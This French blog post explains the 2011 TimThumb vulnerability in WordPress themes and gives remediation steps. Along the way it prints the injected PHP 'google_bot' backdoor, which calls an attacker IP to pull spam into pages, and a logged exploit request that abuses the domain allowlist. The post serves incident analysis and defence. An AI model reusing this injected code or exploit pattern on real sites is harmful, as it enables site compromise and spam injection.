WordPress Hack : Timthumb attack

Timthumb est une librairie utilisée par divers extensions ou thèmes sur WordPress.
Une liste est présente sur cette page : http://blog.sucuri.net/2011/08/attacks-against-timthumb-php-in-the-wild-list-of-themes-and-plugins-being-scanned.html

Début Août une vulnérabilité 0-day a été publiée, celle-ci était exploitée afin de compromettre des sites WEB sur WordPress.
La librairie étant très utilisée, des milliers (millions?) de sites sont potentiellement vulnérables.

Securi.net a suivi l’affaire de près et a publié quelques billets courants Août :

http://blog.sucuri.net/2011/08/wordpress-sites-hacked-with-superpuperdomain-com-attacking-timthumb-php.html
http://blog.sucuri.net/2011/08/wordpress-sites-hacked-with-superpuperdomain2-com.html
http://blog.sucuri.net/2011/08/timthumb-php-vulnerability-not-only-affecting-themes-plugins-too-vslider.html
http://blog.sucuri.net/2011/08/mass-infection-of-wordpress-sites-counter-wordpress-com.html

Les deux plus récents :
http://blog.sucuri.net/2011/08/timthumb-php-attacks-now-being-used-for-blackhat-spam-seo-and-maybe-break-your-site.html
http://blog.sucuri.net/2011/08/timthumb-php-attacks-now-using-googlesafebrowsing-com.html

 

 

Le premier explique que les deux pages attaquées sont : wp-settings.php file et  wp-config.php qui ajoute le code suivant avec une fonction google_bot :

function google_bot() {$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']);if(!(strpos($sUserAgent, ‘google’) === false)) {if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){$ch = curl_init("http://91.196.216.30/bot.php?ip=’.$_SERVER['REMOTE_ADDR"].’&host=’.$_SERVER['HTTP_HOST'].
 ‘&ua=’.urlencode($_SERVER['HTTP_USER_AGENT']).’&ref=’.$_SERVER
 ['HTTP_REFERER']);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_TIMEOUT, 10);$re = curl_exec($ch);curl_close($ch);echo $re;}}}add_action(‘wp_footer’, "google_bot")

Ceci permet la connexion à une url tiers qui permet l’ajout de code sur les pages – par exemple :

 <a href="http://albertasportswear.com /wp-content/uploads/sweaters/sweater_tights.html" alt="Sweater
 Tights" title="Sweater Tights">Sweater Tights</a>
  dilbert sweater vest comic
 <br>knitting softwares
  the knitting room fond du lac
  <a href="http://bettyoctopus.com /wp-content/uploads/knitting/knitting_instructions.html" alt="Knitting
 Instructions" title="Knitting Instructions">Knitting Instructions</a>
  knitting little luxuries louisa harding

Ceci a pour but de provoquer des redirections Google lors de la visite du site : Black SOE vers de fausses pages d’alertes pour faire la promotion de rogues

Le second lien de securi.net explique qu’au lieu d’avoir des modifications des fichiers .htaccess afin d’effectuer du Black SOE, les fichiers jquery.js or l10n.js sont injectés afin de modifier le fichier header.php final
Ceci a pour but de provoquer la connexion vers googlesafebrowsing.com/remoted.cc.txt qui liste des url en domain.us.to/kwizhveo.php ayant comme adresse IP 85.17.19.165 à charger afin de provoquer la redirection.

Vérification de la vulnérabilité Timthumb

Dans un premier temps, vous devez vérifier si la librairie est présente. La commande find sous Linux peux vous y aider :  find -iname « *timthumb* » -print
Si le site est chez vous, sous Windows, une simple recherche du fichier suffit.
Mettre à jour WordPress et tous les plugins.

Chercher le code suivant :

$allowedSites = array (
	'flickr.com',
	'picasa.com',
	'blogger.com',
	'wordpress.com',
	'img.youtube.com',
	'upload.wikimedia.org',
	'photobucket.com',
);

à remplacer par :

$allowedSites = array();

La vulnérabilité étant que le librairie ne vérifie pas de manière exact l’url, ce qui permet d’utiliser des urls contenant le domaine exemple : flickr.com.hack.com

Exemple : http://pinchii.com/home/2011/08/hack-attempt-on-pinchii-com/

 

Remote Address:91.224.160.182
Remote Port:47762
Request Method:GET
Referer:
Query String:
Request URI:/home/wp-content/themes/mystique/thumb.php?src=http://blogger.com.bloggera.net/images.php
User Agent:Opera/9.80 (Windows NT 6.1; U; en) Presto/2.6.30 Version/10.62

Une version plus récente de la librairie est disponible : http://code.google.com/p/timthumb/source/browse/trunk/timthumb.php
Vous pouvez toujours tester mais penser à faire une sauvegarde l’ancienne version pour pouvoir revenir en arrière.

 

Eventuellement faites une recherche du string base64_decode afin de s’assurer qu’aucun shell n’a été uploadé afin de contrôler votre site, par exemple la commande grep peux vous y aider :  grep -r base64_decode *
Pour ceux qui sont sous Windows, vous pouvez scanner le répertoire du site, en général, les shells sont bien détectés.

A noter qu’il semblerait que cela a provoqué un fork : http://markmaunder.com/2011/08/01/zero-day-vulnerability-in-many-wordpress-themes/